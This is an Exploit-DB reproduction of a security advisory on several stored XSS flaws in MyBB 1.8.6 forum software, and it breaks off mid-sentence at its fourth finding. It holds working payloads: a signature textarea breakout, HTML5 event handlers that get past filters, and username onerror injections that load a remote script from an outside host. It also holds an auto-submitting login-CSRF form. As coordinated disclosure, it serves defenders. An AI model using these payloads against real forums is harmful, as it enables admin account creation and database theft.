Exploit-DB #40749
Description: MyBB 1.8.6 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-11-10
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    MyBB 1.8.6
Fixed in:            1.8.7
Fixed Version Link:  http://resources.mybb.com/downloads/mybb_1807.zip
Vendor Website:      http://www.mybb.com/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  01/29/2016
Disclosed to public: 09/15/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

MyBB is forum software written in PHP. In version 1.8.6, it contains various
XSS vulnerabilities, some of which are reflected and some of which are
persistent. Some of them depend on custom forum or server settings.

These issues may lead to the injection of JavaScript keyloggers, injection of
content such as ads, or the bypassing of CSRF protection, which would for
example allow the creation of a new admin user.

3. Details

XSS 1: Persistent XSS - Signature

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: The profile editor of the moderator control panel does not
properly encode the signature of a user when editing it. Because of this, a
user can create a specifically crafted signature and - once a moderator or
admin visits the profile editor for that user - the injected code will be
executed in the context of the victims browser.

Proof of Concept:

Visit the profile at: http://localhost/mybb_1806/Upload/modcp.php?action=editprofile&uid=[USER_ID] As signature, use: </textarea><img src=no onerror=alert(1)>

XSS 2: Persistent XSS - Forum Post (depending on forum settings)

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: An admin can allow HTML input for specific forums via the setting
allowhtml. There are various filters in place which intend to make this safe,
which may leave the admin with the impression that it is indeed safe. However,
there are various possibilities to bypass these filters, mainly using HTML5
features.

Proof of Concept:

<body onpageshow=alert(1)> -> Visiting the post will trigger the code <div
contextmenu="mymenu" oncontextmenu=alert(1)>context menu</pre> -> A right-click
will trigger the code <form action=""> Enter something: <input type="text" name
="myinput" oninput="alert(1)"><br> <input type="submit" value="Submit"> </form>
-> Input into the field will trigger the code <form action=""> <input type=
"text" name="myinput" oninvalid="alert(1)" required> <input type="submit" value
="Submit"> </form> -> A click on submit will trigger the code

There are various other attributes which may also work, such as onsearch,
onkeydown, onkeyup, ondrag, onscroll, oncopy, and so on. Other attributes such
as onMouseOver or onFocus are filtered out.

XSS 3: Persistent XSS - Username (depending on forum settings)

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: The username is echoed unencoded in the user area. As the login
does not have CSRF protection and as an admin can be logged into the admin area
with a different account than the one they are logged into the forum, a
persistent XSS vulnerability in the user area can be exploited. However,
successful exploitation most likely requires a username length of at least 43
characters, which is more than the default settings allow.

Simple Proof of Concept:

1. register user with name f" onmouseover="alert(1)" b=" 2. login and visit
http://localhost/mybb_1805/Upload/usercp.php 3. hover over the avatar

The simple proof of concept can be improved to allow successful exploitation.
It is not required for the victim to hover over the avatar or interact with the
webpage in any way:

1. As username, use: f" onerror="alert(1)" b=" 2. Set an avatar, and use a URL
as source (not an image upload) 3. Delete the image from the remote host,
making it unavailable, thus triggering an error and executing the injected
code.

Possible Payloads:

Loading a script with vanilla javascript takes a lot more characters than are
allowed in a username by default:

"onerror="s=document.createElement('script');s.src='http://localhost/s.js';
document.getElementById('top').appendChild(s)"

As jQuery is loaded, this can be optimized:

"onerror="$.getScript('http://aa.bc/s.js')

Executing the payload for a victim:

The attack does not require the victim to not be logged in as normal user, as
one can login even when already logged in. The login as a normal user also does
not affect the login as admin. Thus, an attacker could use the following
payload to log a victim in and redirect them to the site containing the
payload:

<iframe id="myframe" style="display: none" name="myframe" src="about:blank"></
iframe> <form method="post" action="http://localhost/mybb_1805/Upload/
member.php" target="myframe" id="myform" name="myform"> <input name="action"
type="hidden" value="do_login" /> <input name="url" type="hidden" value="http:/
/localhost/mybb_1805/Upload/usercp.php" /> <input name="quick_login" type=
"hidden" value="1" /> <input name="quick_username" type="hidden" value=
""onerror="$.getScript('http://localhost/s.js')" /> <input name=
"quick_password" type="hidden" value="123456" /> <input name="quick_remember"
type="hidden" value="yes" /> </form> <script>document.myform.submit();</script>

It will automatically log the victim in and redirect them to the page that
triggers the script execution. No action of the victim is required. The loaded
script could for example perform a backup of the database and then send the
attacker the name of the backup, as backups are stored in a public directory.

XSS 4: Persistent XSS - Post Attachment (depending on server settings)

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: Attachments are uploaded to a public directory, and their
extension is changed to .attach. Files with extension .attach that contain HTML
code are interpreted as HTML files by some default server configurations (for
example Apach